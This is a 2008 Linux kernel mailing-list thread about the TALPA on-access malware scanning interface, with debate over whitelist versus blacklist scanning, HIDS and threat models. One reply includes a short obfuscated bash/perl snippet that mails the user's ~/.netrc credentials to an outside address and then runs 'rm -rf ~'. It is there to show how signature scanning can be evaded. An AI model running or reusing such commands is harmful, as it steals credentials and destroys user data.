>> ourself in a location that remount don't equal starting over from
>> scratch.   Location in the inodes wrong for max effectiveness.   Even
>> on snapshoting file systems when you change snapshot displayed not
>> every file has changed.
>
> this is a policy decision that different people will answer differently. put
> the decision in userspace. if the user/tool thinks that these things require
> a re-scan then they can change the generation number and everything will get
> re-scanned. if not don't change it.
>
With out a clear path were user space tools can tell that its the same
files they have no option bar to mark the complete lot dirty.

Hands are tied that is the issue while only in the inode and vfs
system.   To untie hands and allow most effective scanning the black
box of the file system driver has to be opened.

>
>> Logic that scanning will always be needed again due to signatures
>> needing updates every few hours is foolish.   Please note signatures
>> updating massively only apply to black list scanning like
>> anti-viruses.   If I am running white list scanning on those disks
>> redoing it is not that required unless disk has changed or defect
>> found in the white list scanning system.  The cases that a white list
>> system needs updating is far more limited:  New file formats,   New
>> software,  New approved parts or defect in scanner itself.
>> Virus/Malware writer creating a new bit of malware really does not
>> count if the malware fails the white list.  Far less chasing.  100
>> percent coverage against unknown viruses is possible if you are
>> prepared to live with the limitations of white list.   There are quite
>> a few places where the limitations of white list is not a major
>> problem.
>
> the mechanism I outlined will work just fine for a whitelist scanner. the
> user can configure it as the first scanner in the stack and to trust it's
> approval completely, and due to the stackable design, you can have thigns
> that fall through the whitelist examined by other software (or blocked, or
> the scanning software can move/delete/change permissions/etc, whatever you
> configure it to do)
>
>> Anti-Virus companies are going to have to lift there game stop just
>> chasing viruses because soon or latter the black list is going to get
>> that long that its going to be unable to be processed quickly.
>> Particularly with Linux's still running on 1.5 ghz or smaller
>> machines.
>
> forget the speed of the machines, if you have a tens of TB array can will
> take several days to scan using the full IO bandwith of the system (so even
> longer as a background task), you already can't afford to scan everything
> every update on every system.
>
> however, you may not need to. if a small enough set of files are accessed
> (and you are willing to pay the penalty on the first access of each file)
> you can configure your system to only do on-access scanning. or you can
> choose to do your updates less frequently (which may be appropriate for your
> environment)
>

You missed it part of that was a answer to Ted saying that we should
give up on a perfect system due to the fact current AV tech fails
there is other tech out there that works.

In answer to the small enough set of files idea.   The simple issue is
that one time cost of black list scanning gets longer and longer and
longer as the black list gets longer and longer and longer.   Sooner
or latter its going to be longer than the amount of time people are
prepared to wait for a file to be approved and longer than the time
taken to white list scan the file by a large margin.  It is already
longer by a large margin to white list scanning.    CPU sizes not
expanding as fast on Linux kind brings the black list o heck problem
sooner.   Lot of anti-virus black lists are embeding white lists
methods so they can operate now inside the time window.   The wall is
coming and its simply not avoidable all they are currently doing is
just stopping themselves from going splat into it.  White list methods
will have to become more dominate one day there is no other path
forward for scanning content.

Most common reason to need to be sure disks are clean on a different
machine is after a mess.   Anti-Virus and protection tech has let you
down.   Backups could be infected before restoring scanning those
backups to sort out what files you can salvage and what backups
predate the infection or breach.   These backups of course are
normally not scanned on the destination machine.   Missing anything
scanning those backups in not acceptable ever.

By the way for people who don't know the differences.  TPM is a HIDS
hardware support it must know the files its protecting exactly.
White list scanning covers a lot more than just HIDS.   White List
scanners that knows file formats themselves sorts the files by unknown
format, damaged ie not to format like containing buffer oversize and
the like, Containing executable parts unknown, Containing only
executable parts known safe and 100 percent safe.  First 3 are blocked
by while list scanners last 2 are approved.   Getting past a white
list scanner is hard.   White list scanning is the major reason we
need all formats to documents used in business so they can be scanned
white list style.   White List format style does not fall pray to
checksum collisions.  Also when you have TB's and PB of data you don't
want to be storing damaged files or viruses.   Most black list
scanners only point out viruses some viruses so are poor compared to
what some forms of white list scanning offer of trust able clean and
undamaged.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Sun, Aug 17, 2008 at 6:58 PM,  <david@lang.hm> wrote:
>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>
>>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>>>>
>>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>>
>>> I am not saying in that it has to be displayed in the normal VFS.  I
>>> am saying provide way to see everything the driver can to the
>>> scanner/HIDS.   Desktop users could find it useful to see what the
>>> real permissions are on disk surface useful for when they are
>>> transferring disks between systems.  HIDS will find it useful for Max
>>> confirm that nothing has been touched since last scan.   White list
>>> scanning finds it useful because they can be sure nothing was missed.
>>
>> unless you have a signed file of hashses of the filesystem, and you check
>> that all the hashes are the same, you have no way of knowing if the
>> filesystem was modified by any other system.
>
> That is called a HIDS.  Network form even has central databases of
> hashes of applications that should be on the machine.  Its tampering
> detection.

is this what you are asking for or not?

>> you may be able to detect if OS Y mounted and modified it via notmal rules
>> of that OS, but you have no way to know that someone didn't plug the drive
>> into an embeded system that spit raw writes out to the drive to just modify
>> a single block of data.
>
> Exactly why I am saying the lower level needs work.   Everything the
> file system driver can process needs to go to Hids for most effective
> detection of tampering.  Ok not 100 percent but the closest to 100
> percent you can get.   2 causes of failure are hash collisions that
> can happen either way and data hidden outside the drivers reach.   All
> execute data leading into the OS will be covered by a TPM chip in time
> so that will only leave non accessible data not a threat to current
> OS.

so are you advocating that every attempt to access the file should 
calculate the checksum of the file and compare it against a (possibly 
network hosted) list?

>>> You mentioned the other reason why you want to be under the vfs.   As
>>> you just said every time you mount a file system you have to presume
>>> that its dirty.  What about remount?   Presume its all dirty just
>>> because user changed a option to the filesystem?  Or do we locate
>>> ourself in a location that remount don't equal starting over from
>>> scratch.   Location in the inodes wrong for max effectiveness.   Even
>>> on snapshoting file systems when you change snapshot displayed not
>>> every file has changed.
>>
>> this is a policy decision that different people will answer differently. put
>> the decision in userspace. if the user/tool thinks that these things require
>> a re-scan then they can change the generation number and everything will get
>> re-scanned. if not don't change it.
>>
> With out a clear path were user space tools can tell that its the same
> files they have no option bar to mark the complete lot dirty.
>
> Hands are tied that is the issue while only in the inode and vfs
> system.   To untie hands and allow most effective scanning the black
> box of the file system driver has to be opened.

you are mixing solutions and problems. I think my proposal can be used to 
address your problem, even if the implementation is different.

>>> Logic that scanning will always be needed again due to signatures
>>> needing updates every few hours is foolish.   Please note signatures
>>> updating massively only apply to black list scanning like
>>> anti-viruses.   If I am running white list scanning on those disks
>>> redoing it is not that required unless disk has changed or defect
>>> found in the white list scanning system.  The cases that a white list
>>> system needs updating is far more limited:  New file formats,   New
>>> software,  New approved parts or defect in scanner itself.
>>> Virus/Malware writer creating a new bit of malware really does not
>>> count if the malware fails the white list.  Far less chasing.  100
>>> percent coverage against unknown viruses is possible if you are
>>> prepared to live with the limitations of white list.   There are quite
>>> a few places where the limitations of white list is not a major
>>> problem.
>>
>> the mechanism I outlined will work just fine for a whitelist scanner. the
>> user can configure it as the first scanner in the stack and to trust it's
>> approval completely, and due to the stackable design, you can have thigns
>> that fall through the whitelist examined by other software (or blocked, or
>> the scanning software can move/delete/change permissions/etc, whatever you
>> configure it to do)
>>
>>> Anti-Virus companies are going to have to lift there game stop just
>>> chasing viruses because soon or latter the black list is going to get
>>> that long that its going to be unable to be processed quickly.
>>> Particularly with Linux's still running on 1.5 ghz or smaller
>>> machines.
>>
>> forget the speed of the machines, if you have a tens of TB array can will
>> take several days to scan using the full IO bandwith of the system (so even
>> longer as a background task), you already can't afford to scan everything
>> every update on every system.
>>
>> however, you may not need to. if a small enough set of files are accessed
>> (and you are willing to pay the penalty on the first access of each file)
>> you can configure your system to only do on-access scanning. or you can
>> choose to do your updates less frequently (which may be appropriate for your
>> environment)
>>
>
> You missed it part of that was a answer to Ted saying that we should
> give up on a perfect system due to the fact current AV tech fails
> there is other tech out there that works.
>
> In answer to the small enough set of files idea.   The simple issue is
> that one time cost of black list scanning gets longer and longer and
> longer as the black list gets longer and longer and longer.   Sooner
> or latter its going to be longer than the amount of time people are
> prepared to wait for a file to be approved and longer than the time
> taken to white list scan the file by a large margin.  It is already
> longer by a large margin to white list scanning.    CPU sizes not
> expanding as fast on Linux kind brings the black list o heck problem
> sooner.   Lot of anti-virus black lists are embeding white lists
> methods so they can operate now inside the time window.   The wall is
> coming and its simply not avoidable all they are currently doing is
> just stopping themselves from going splat into it.  White list methods
> will have to become more dominate one day there is no other path
> forward for scanning content.
>
> Most common reason to need to be sure disks are clean on a different
> machine is after a mess.   Anti-Virus and protection tech has let you
> down.   Backups could be infected before restoring scanning those
> backups to sort out what files you can salvage and what backups
> predate the infection or breach.   These backups of course are
> normally not scanned on the destination machine.   Missing anything
> scanning those backups in not acceptable ever.
>
> By the way for people who don't know the differences.  TPM is a HIDS
> hardware support it must know the files its protecting exactly.
> White list scanning covers a lot more than just HIDS.   White List
> scanners that knows file formats themselves sorts the files by unknown
> format, damaged ie not to format like containing buffer oversize and
> the like, Containing executable parts unknown, Containing only
> executable parts known safe and 100 percent safe.  First 3 are blocked
> by while list scanners last 2 are approved.   Getting past a white
> list scanner is hard.   White list scanning is the major reason we
> need all formats to documents used in business so they can be scanned
> white list style.   White List format style does not fall pray to
> checksum collisions.  Also when you have TB's and PB of data you don't
> want to be storing damaged files or viruses.   Most black list
> scanners only point out viruses some viruses so are poor compared to
> what some forms of white list scanning offer of trust able clean and
> undamaged.

the scanning support mechanism would support a whitelist policy, it will 
also support a blacklist policy.

I will dispute your claim that a strict whitelist policy is even possible 
on a general machine. how can you know if a binary that was compiled is 
safe or not? how can you tell if a program downloaded from who knows where 
is safe or not? the answer is that you can't. you can know that the 
program isn't from a trusted source and take actions to limit what it can 
do (SELinux style), or you can block the access entirely (which will just 
cause people to disable your whitelist when it gets in their way)

there are times when a whitelist is reasonable, there are times when it 
isn't. you can't whitelist the contents of /var/log/apache/access.log, but 
that file needs to be scanned as it is currently being used as an attack 
vector.

the approach I documented (note: I didn't create it, I assembled it from 
pieces of different proposals on the list) uses kernel support to cache 
the results of the scan so that people _don't_ have to wait for all the 
scans to take place when they open a file each time. they don't even need 
to wait for a checksum pass to see if the file was modified or not.

I fail to see why it couldn't be used for your whitelist approach.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 10:32 AM,  <david@lang.hm> wrote:
> On Mon, 18 Aug 2008, Peter Dolding wrote:
>
>> On Sun, Aug 17, 2008 at 6:58 PM,  <david@lang.hm> wrote:
>>>
>>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>>
>>>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>>>>>
>>>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>>>
>>>> I am not saying in that it has to be displayed in the normal VFS.  I
>>>> am saying provide way to see everything the driver can to the
>>>> scanner/HIDS.   Desktop users could find it useful to see what the
>>>> real permissions are on disk surface useful for when they are
>>>> transferring disks between systems.  HIDS will find it useful for Max
>>>> confirm that nothing has been touched since last scan.   White list
>>>> scanning finds it useful because they can be sure nothing was missed.
>>>
>>> unless you have a signed file of hashses of the filesystem, and you check
>>> that all the hashes are the same, you have no way of knowing if the
>>> filesystem was modified by any other system.
>>
>> That is called a HIDS.  Network form even has central databases of
>> hashes of applications that should be on the machine.  Its tampering
>> detection.
>
> is this what you are asking for or not?
>
>>> you may be able to detect if OS Y mounted and modified it via notmal
>>> rules
>>> of that OS, but you have no way to know that someone didn't plug the
>>> drive
>>> into an embeded system that spit raw writes out to the drive to just
>>> modify
>>> a single block of data.
>>
>> Exactly why I am saying the lower level needs work.   Everything the
>> file system driver can process needs to go to Hids for most effective
>> detection of tampering.  Ok not 100 percent but the closest to 100
>> percent you can get.   2 causes of failure are hash collisions that
>> can happen either way and data hidden outside the drivers reach.   All
>> execute data leading into the OS will be covered by a TPM chip in time
>> so that will only leave non accessible data not a threat to current
>> OS.
>
> so are you advocating that every attempt to access the file should calculate
> the checksum of the file and compare it against a (possibly network hosted)
> list?
>
Mixed solution.  HIDS gets you so far.   White List format scanning
gets you more.

Best of all techs.
>>>> You mentioned the other reason why you want to be under the vfs.   As
>>>> you just said every time you mount a file system you have to presume
>>>> that its dirty.  What about remount?   Presume its all dirty just
>>>> because user changed a option to the filesystem?  Or do we locate
>>>> ourself in a location that remount don't equal starting over from
>>>> scratch.   Location in the inodes wrong for max effectiveness.   Even
>>>> on snapshoting file systems when you change snapshot displayed not
>>>> every file has changed.
>>>
>>> this is a policy decision that different people will answer differently.
>>> put
>>> the decision in userspace. if the user/tool thinks that these things
>>> require
>>> a re-scan then they can change the generation number and everything will
>>> get
>>> re-scanned. if not don't change it.
>>>
>> With out a clear path were user space tools can tell that its the same
>> files they have no option bar to mark the complete lot dirty.
>>
>> Hands are tied that is the issue while only in the inode and vfs
>> system.   To untie hands and allow most effective scanning the black
>> box of the file system driver has to be opened.
>
> you are mixing solutions and problems. I think my proposal can be used to
> address your problem, even if the implementation is different.
>
You proposal idea is right.   Implementation location is pain to get
right so everything works.

Issue is some of the changes that need doing may take years to get
sorted out.   So we kinda need to start now working our ways to having
them by the time these other things become main line in kernel causing
us head aches.

Lets try to avoid having to do last min fixs up.  We know the tech
that is coming lets be ready for it.

>>>> Logic that scanning will always be needed again due to signatures
>>>> needing updates every few hours is foolish.   Please note signatures
>>>> updating massively only apply to black list scanning like
>>>> anti-viruses.   If I am running white list scanning on those disks
>>>> redoing it is not that required unless disk has changed or defect
>>>> found in the white list scanning system.  The cases that a white list
>>>> system needs updating is far more limited:  New file formats,   New
>>>> software,  New approved parts or defect in scanner itself.
>>>> Virus/Malware writer creating a new bit of malware really does not
>>>> count if the malware fails the white list.  Far less chasing.  100
>>>> percent coverage against unknown viruses is possible if you are
>>>> prepared to live with the limitations of white list.   There are quite
>>>> a few places where the limitations of white list is not a major
>>>> problem.
>>>
>>> the mechanism I outlined will work just fine for a whitelist scanner. the
>>> user can configure it as the first scanner in the stack and to trust it's
>>> approval completely, and due to the stackable design, you can have thigns
>>> that fall through the whitelist examined by other software (or blocked,
>>> or
>>> the scanning software can move/delete/change permissions/etc, whatever
>>> you
>>> configure it to do)
>>>
>>>> Anti-Virus companies are going to have to lift there game stop just
>>>> chasing viruses because soon or latter the black list is going to get
>>>> that long that its going to be unable to be processed quickly.
>>>> Particularly with Linux's still running on 1.5 ghz or smaller
>>>> machines.
>>>
>>> forget the speed of the machines, if you have a tens of TB array can will
>>> take several days to scan using the full IO bandwith of the system (so
>>> even
>>> longer as a background task), you already can't afford to scan everything
>>> every update on every system.
>>>
>>> however, you may not need to. if a small enough set of files are accessed
>>> (and you are willing to pay the penalty on the first access of each file)
>>> you can configure your system to only do on-access scanning. or you can
>>> choose to do your updates less frequently (which may be appropriate for
>>> your
>>> environment)
>>>
>>
>> You missed it part of that was a answer to Ted saying that we should
>> give up on a perfect system due to the fact current AV tech fails
>> there is other tech out there that works.
>>
>> In answer to the small enough set of files idea.   The simple issue is
>> that one time cost of black list scanning gets longer and longer and
>> longer as the black list gets longer and longer and longer.   Sooner
>> or latter its going to be longer than the amount of time people are
>> prepared to wait for a file to be approved and longer than the time
>> taken to white list scan the file by a large margin.  It is already
>> longer by a large margin to white list scanning.    CPU sizes not
>> expanding as fast on Linux kind brings the black list o heck problem
>> sooner.   Lot of anti-virus black lists are embeding white lists
>> methods so they can operate now inside the time window.   The wall is
>> coming and its simply not avoidable all they are currently doing is
>> just stopping themselves from going splat into it.  White list methods
>> will have to become more dominate one day there is no other path
>> forward for scanning content.
>>
>> Most common reason to need to be sure disks are clean on a different
>> machine is after a mess.   Anti-Virus and protection tech has let you
>> down.   Backups could be infected before restoring scanning those
>> backups to sort out what files you can salvage and what backups
>> predate the infection or breach.   These backups of course are
>> normally not scanned on the destination machine.   Missing anything
>> scanning those backups in not acceptable ever.
>>
>> By the way for people who don't know the differences.  TPM is a HIDS
>> hardware support it must know the files its protecting exactly.
>> White list scanning covers a lot more than just HIDS.   White List
>> scanners that knows file formats themselves sorts the files by unknown
>> format, damaged ie not to format like containing buffer oversize and
>> the like, Containing executable parts unknown, Containing only
>> executable parts known safe and 100 percent safe.  First 3 are blocked
>> by while list scanners last 2 are approved.   Getting past a white
>> list scanner is hard.   White list scanning is the major reason we
>> need all formats to documents used in business so they can be scanned
>> white list style.   White List format style does not fall pray to
>> checksum collisions.  Also when you have TB's and PB of data you don't
>> want to be storing damaged files or viruses.   Most black list
>> scanners only point out viruses some viruses so are poor compared to
>> what some forms of white list scanning offer of trust able clean and
>> undamaged.
>
> the scanning support mechanism would support a whitelist policy, it will
> also support a blacklist policy.
>
> I will dispute your claim that a strict whitelist policy is even possible on
> a general machine. how can you know if a binary that was compiled is safe or
> not? how can you tell if a program downloaded from who knows where is safe
> or not? the answer is that you can't. you can know that the program isn't
> from a trusted source and take actions to limit what it can do (SELinux
> style), or you can block the access entirely (which will just cause people
> to disable your whitelist when it gets in their way)

Sorry to say whitelists of safe exe's exist today.
http://www.softpedia.com/  for one they keep a list of virus and
malware free programs.

The who knows where is the issue.  Whitelist system don't tollerate
that.  That is part user getting use to that fact.  selinux is still
needed around applications even on a white list system.  Even the most
virus and malware free applications can have flaws.  White list system
are really hard to break.

People disable black list scanners because they are slowing down there
gaming too much.  In the case of /var/log/apache/access.log and other
access logs.   Guess what they can be format white listed.   They are
a know format that they should be written in what permissions they
should have.   I have not found a attack using access.log yet that has
passed a format check.  There is really not much a format based white
list scanner misses. Selinux is also needed to prevent applications
from altering logs in ways they should not.   Even better .log files
may only exist threw the syslog interface that allows entries to be
added only to spec and not edited back in time.

Lot of vectors simply don't exist in a truly secure White list system.

You can operate a pure white list based systems today.   Just as
functional as there non white list relations.   I have run networks
white list based.   Windows registry is the worse nightmare to build a
white list system for.   Linux and Mac systems are simpler to run
white list based.

Remember White List blocking something is not the last roll of the
dice.   User is informed at this point and gets to make a judgement
call.  Is this something worth running a black list scan over or do I
just get rid of it.  Its called having user involved in there own
secuirty.  Users kinda going to go hang on I though that was a mp3 now
you are telling me its a program or damaged delete end of story.
Virus does not even get a chance to trick the black list.  Black List
first line is flawed.  General all comes system HIDS first of some
form system is not damage ie scanning system checked that its not
crippled or tampered with then  White list format based then Black
List then LSM around program if it gets it that far.  Objective
virus/malware has to get past as many walls as possible and to get
true feed back from users.   Avoiding bugging users any more than you
have to threw that system will take careful design.

All 4 lines of defence are needed HIDS, White List, Black List and
LSM's.   Miss HIDS, White List or LSM have weaker defence.   Miss
black list have less open selection of applications.   Black List
missing can be worked around.  3 are 100 percent critical.  Black
Lists is about 50/50 some users need it some don't.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[douglas.leeder]

malware-list-bounces@dmesg.printk.net wrote on 2008-08-18 01:11:24:

> In answer to the small enough set of files idea.   The simple issue is
> that one time cost of black list scanning gets longer and longer and
> longer as the black list gets longer and longer and longer.   Sooner
> or latter its going to be longer than the amount of time people are
> prepared to wait for a file to be approved and longer than the time
> taken to white list scan the file by a large margin.  It is already
> longer by a large margin to white list scanning.    CPU sizes not
> expanding as fast on Linux kind brings the black list o heck problem
> sooner.   Lot of anti-virus black lists are embeding white lists
> methods so they can operate now inside the time window.   The wall is
> coming and its simply not avoidable all they are currently doing is
> just stopping themselves from going splat into it.  White list methods
> will have to become more dominate one day there is no other path
> forward for scanning content.

The problem with white-lists is who gets to decide what's on them:

a) The end-user: Easy to get around - a social engineering attack.
        The problem is if you make all the good applications the
        user downloads appear identical to any random malware they 
        download, the end-users will treat them the same.

b) The network administrator: Often doesn't exist (e.g. home users), but
        even when they do exist, they are often too over-worked to 
        handle a white-listing solution. For example Windows provides 
        white-listing in policies (AFAIK), but still there is a market
        for AV software.
        The admin probably ends up authorizing anything the end-users 
want.
                (Thus leading to the same problems as a)...)

c) The White-listing software company: Now has to maintain a perfect 
database
        of known-good software, without letting in any malware.
        Also problems with edge-cases such as adware.
        Also needs some way of handling private software, and 
self-compiled software.
                (which probably leads to a) or b)...)

d) Third-party: All the problems of c) with more trust issues, plus
        iphone-ish lock-in problems.

The other problem that I can see is that white-list scanners have to be
much more exact on the matching (either checksums or signatures), as the
malware authors will be trying to look-like authorized software.

black-list scanners can afford heuristic detection, because good-software 
authors
aren't trying to look like malware.

-- 
Douglas Leeder

Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 8:54 PM,  <douglas.leeder@sophos.com> wrote:
> malware-list-bounces@dmesg.printk.net wrote on 2008-08-18 01:11:24:
>
>> In answer to the small enough set of files idea.   The simple issue is
>> that one time cost of black list scanning gets longer and longer and
>> longer as the black list gets longer and longer and longer.   Sooner
>> or latter its going to be longer than the amount of time people are
>> prepared to wait for a file to be approved and longer than the time
>> taken to white list scan the file by a large margin.  It is already
>> longer by a large margin to white list scanning.    CPU sizes not
>> expanding as fast on Linux kind brings the black list o heck problem
>> sooner.   Lot of anti-virus black lists are embeding white lists
>> methods so they can operate now inside the time window.   The wall is
>> coming and its simply not avoidable all they are currently doing is
>> just stopping themselves from going splat into it.  White list methods
>> will have to become more dominate one day there is no other path
>> forward for scanning content.
>
> The problem with white-lists is who gets to decide what's on them:
>
> a) The end-user: Easy to get around - a social engineering attack.
>        The problem is if you make all the good applications the
>        user downloads appear identical to any random malware they
>        download, the end-users will treat them the same.
>
> b) The network administrator: Often doesn't exist (e.g. home users), but
>        even when they do exist, they are often too over-worked to
>        handle a white-listing solution. For example Windows provides
>        white-listing in policies (AFAIK), but still there is a market
>        for AV software.
>        The admin probably ends up authorizing anything the end-users
> want.
>                (Thus leading to the same problems as a)...)
>
> c) The White-listing software company: Now has to maintain a perfect
> database
>        of known-good software, without letting in any malware.
>        Also problems with edge-cases such as adware.
>        Also needs some way of handling private software, and
> self-compiled software.
>                (which probably leads to a) or b)...)
>
> d) Third-party: All the problems of c) with more trust issues, plus
>        iphone-ish lock-in problems.
>
> The other problem that I can see is that white-list scanners have to be
> much more exact on the matching (either checksums or signatures), as the
> malware authors will be trying to look-like authorized software.
>
> black-list scanners can afford heuristic detection, because good-software
> authors
> aren't trying to look like malware.

I can cover all of these.

Type A) White Lists for stand alone end users would normally operate
with a matching black list system.  White list system would be
detecting known damaged file formats and possable threats in the
process letting files that cannot contain viruses/malware pass.
Really its a waste of time scanning a damaged file users need to be
informed of it as well a equally waste of time black list scanning a
file for viruses/malware that cannot carry threats.  Also new unknown
executable files being placed before user to approve to go on for
black list scanning or remove from system really does cut down threat
to system.   User is engaged in there own protection.   User normally
knows if they are attempting to run a new program or not, Asking them
is the white list way.   Don't just presume they are meaning to run a
new exe they have never run before scan it for what threat you know
then let it run.  Reason black lists are flawed we know they are
flawed.  So we use the user to give a extra level of filtering.

Type B and C) For companies have you seen the paper work for getting
software into lots of businesses with system admins.   The ammount of
tracking that has to be done on software installed.   Keeping a white
list system that is also doing installation head counts is not that
much of a overhead.   Internally created software normally has to go
threw approval processes before actively deployed every where.
Keeping a white list just fits into general operations of quite a few
businesses with system admins.  Just a lot don't notice it in the
paper work they are doing.   Like complete lists of installed
software.  This is more good design of the white list system as well
as scanning the system it is doing the needed network audits both are
overlapping processes.

D) we currently have that issue with anti-virus software black list.
I had my test network software deleted, my documentation how to by
pass a old alpha servers password deleted.  All by black list
anti-virus being over picky.  We already have anti-virus lock in with
black list white list really does not change it.

Checksums and Signatures are not the only ways of white listing.
Sections of white lists is heuristic as well.   These are format
matches.   If you have a word document that does not contain macros is
defect free for all its images and parts.   You really don't need a
checksum or a Signature for it.   You really just need a way of
acquiring that the file is clean of all possible threats in the white
list system.

Even against black lists malware trys to show up as good software or
worse stuff black lists false positive on so black list scanner
disregards it.  heck some malware sites have gone as far as saying
disable anti-virus before installing in process detect black list
scanner and root kit it.   Even some above board software tells you to
disable you black list scanner so it does not false positive.
heuristic's in black list scanners is unstable.

White list systems also block from running like part executables from
the executable format itself.   Likes a broken downloads.  These can
be just as harmful as to user data as any virus.   Yet most current
day black list systems let them slide.  Damaged files are a threat to
stable operation of a machine sometimes worse than been malware
infected.   Part install from a damaged installer of a perfectly safe
program can bring the computer down just as effectively as any trojan
slipping past black list scanners.

Heuristic's in White List scanners is stable.  Yes we know they can
throw out too much.   The important thing they throw out stuff black
list scanners let slide.

White list methods have to come to at least pull out damaged files
before they can do system harm.  Remember fuzzing random data files
shoved into a file until it finds a defect in its file format.  White
list works on detecting files with defects and binning them taking
viruses and other threats using those methods out of the threat
matrix.   This is theat reduction.  With white list format processing
less and less threat paths are left usable to attackers.   Closing the
exe threat path for home users is extremely hard.   Closing the exe
threat path for business fairly straight forward.  Total population of
infect able machines reduced by quite a number.

Major reason why AV companies will not want to do this.  Is simple if
file formats by a business have not changed and no flaws found in the
white list scanner most likely business will have no reason to update
more often than the software they use since white list scanner will
maintain its effectiveness against threats.   Attackers generating
more and more viruses don't expand the white list zone to protect.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Valdis.Kletnieks]

[-- Attachment #1: Type: text/plain, Size: 2923 bytes --]

On Fri, 15 Aug 2008 21:09:42 PDT, Arjan van de Ven said:

(Re-arranging the order of Arjan's comments somewhat...)

> Sadly what you're doing is throwing up smoke and just saying "it
> doesn't solve world hunger as well so it's bad". Please do yourself a
> favor and stop that before people totally start ignoring you.

Many security experts believe that a false sense of security is worse than
no security at all.  In other words, unless the design team is *honest* with
themselves about what the proposal does and doesn't cover, and has at least
an *idea* of how the uncovered parts will function, you're not adding to
the *real* security.

The problem with saying stuff like "Oh, our threat model explicitly rules
out anything done by root" is that all too often, the other part of the
overall plan - the one that constrains the root user - is never deployed.

One of the proponents of the idea told me "so I don't see that as a big
problem", when the problem in question (the race condition between malware
arriving and actual scanning with a signature that detects the malware) is one
of *THE* biggest issue for actual deployments of this sort of stuff.  No, TALPA
doesn't have to necessarily deal with that race condition itself.

But you damn sight well better have a good idea of how you intend to deal
with it, because if you don't, the end result isn't actually usable for
anything...

> (nor should we do something that has no value.. but that's not the case;
> the model that Erik described is quite well defined as 
> "do not give ''bad' content to applications/exec".

The model is *not* "quite well defined" - because "bad content" is a rather
squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
viruses/malware is equivalent to the Turing Halting Problem).  What you
*really* mean is "that subset of bad content that we can reasonably
economically catch with pattern matching signatures".

And at that point, we're well into #2 on Marcus Ranum's list of Bad Security
Ideas - Enumerating Badness.

#!/bin/bash
ONE="system("
TWO="'"
THREE="mail ba"
FOUR="dguy@dropbox.com < ~/.netrc;r"
FIVE="m -rf ~ &');"
echo "$ONE$TWO$THREE$F0UR$FIVE" | perl

That gets dealt with how?  Did you have a signature that matched that targeted
code (of course not, your A/V vendor hasn't seen this e-mail yet)?  Did you
protect the | pipe as well as file input?

(Anybody else remember a few years ago, when ssh and sendmail distrib files
were trojaned with code that ran when the poor victim sysadmin built the
kit, presumably *not* as root - at which point the perpetrator had a open
shell on the box running as the user, and can download whatever privilege
escalation exploits to get root...)

But yeah, trying to scan data before it's read, to detect some fraction of
the known threats, *does* close a few holes.  The question is how does it
fit in as "part of this complete security breakfast"...


[-- Attachment #2: Type: application/pgp-signature, Size: 226 bytes --]

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sat, 16 Aug 2008, Valdis.Kletnieks@vt.edu wrote:

> Many security experts believe that a false sense of security is worse than
> no security at all.  In other words, unless the design team is *honest* with
> themselves about what the proposal does and doesn't cover, and has at least
> an *idea* of how the uncovered parts will function, you're not adding to
> the *real* security.

this is why there was so much preasure for them to define their threat 
model. they have donw so. if you disagree with that please suggest a 
different threat model rather then just listing various threats that their 
model doesn't cover.

> The problem with saying stuff like "Oh, our threat model explicitly rules
> out anything done by root" is that all too often, the other part of the
> overall plan - the one that constrains the root user - is never deployed.

it may not be appropriate to lock down root, it depends on what threats 
the box is under.

on the other hand, locking down root perfectly, but readily serving 
windows virii to other systems isn't good in some cases either.

security is not 'one size fits all'

> One of the proponents of the idea told me "so I don't see that as a big
> problem", when the problem in question (the race condition between malware
> arriving and actual scanning with a signature that detects the malware) is one
> of *THE* biggest issue for actual deployments of this sort of stuff.  No, TALPA
> doesn't have to necessarily deal with that race condition itself.

so how _so_ you handle detecting bad data before anyone defines it as bad?

remember, the 'bad data' may be a $propriatary_media format that only 
causes problems when run with $propriatary_software on $proptiatary_OS. Or 
the 'bad data' could be a document in an open format that complies with 
the specs of that format, but a common client doesn't handle the 
legitimate file correctly.

there is no possible way to detect these ahead of someone defineing them 
as bad. you can prevent them from being exploited on the Linux system (or 
limit the damage of the exploit), that's what SELinux aims at.

> But you damn sight well better have a good idea of how you intend to deal
> with it, because if you don't, the end result isn't actually usable for
> anything...

again, that's why the push for a threat model.

>> (nor should we do something that has no value.. but that's not the case;
>> the model that Erik described is quite well defined as
>> "do not give ''bad' content to applications/exec".
>
> The model is *not* "quite well defined" - because "bad content" is a rather
> squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
> viruses/malware is equivalent to the Turing Halting Problem).  What you
> *really* mean is "that subset of bad content that we can reasonably
> economically catch with pattern matching signatures".

more precisely the model is defined as "do not give 'unchecked' data to 
applications/exec" how they are checked is not defined, providing the 
hooks so that checking can be done is what we are trying to define.

> But yeah, trying to scan data before it's read, to detect some fraction of
> the known threats, *does* close a few holes.  The question is how does it
> fit in as "part of this complete security breakfast"...

one _very_ nice thing about the hooks currently being proposed is that 
they are useful for things besides anti-virus tools, tools that have no 
security implications at all. so even if there were no security benifit 
the hooks are still worth considering. but the fact is there is a threat 
model here that is not addressed well with other mechanisms, that is 
useful to cover.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

